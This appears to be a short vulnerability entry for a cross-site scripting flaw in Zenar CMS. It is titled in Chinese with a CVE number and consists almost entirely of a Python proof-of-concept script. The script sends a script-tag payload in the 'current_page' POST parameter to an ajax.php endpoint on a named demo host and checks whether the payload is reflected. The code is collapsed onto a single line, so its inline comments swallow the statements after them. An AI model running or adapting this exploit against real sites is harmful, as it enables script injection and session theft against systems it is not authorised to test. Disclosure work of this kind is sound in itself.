CVE-2018-25331 Zenar CMS跨站脚本漏洞

import requests # Target URL (replace with actual target) target_url = "http://demo.zenar.io/ajax.php" # Malicious payload to test XSS # The payload injects a script tag to execute JavaScript payload = "<script>alert('CVE-2018-25331_PoC');</script>" # Vulnerable parameter in POST request data = { "current_page": payload } try: # Send POST request to the vulnerable endpoint response = requests.post(target_url, data=data) # Check if the payload is reflected in the response if payload in response.text: print("[+] Vulnerability confirmed! Payload is reflected in the response.") else: print("[-] Payload not reflected. Target might be patched or input sanitized.") except Exception as e: print(f"[!] An error occurred: {e}")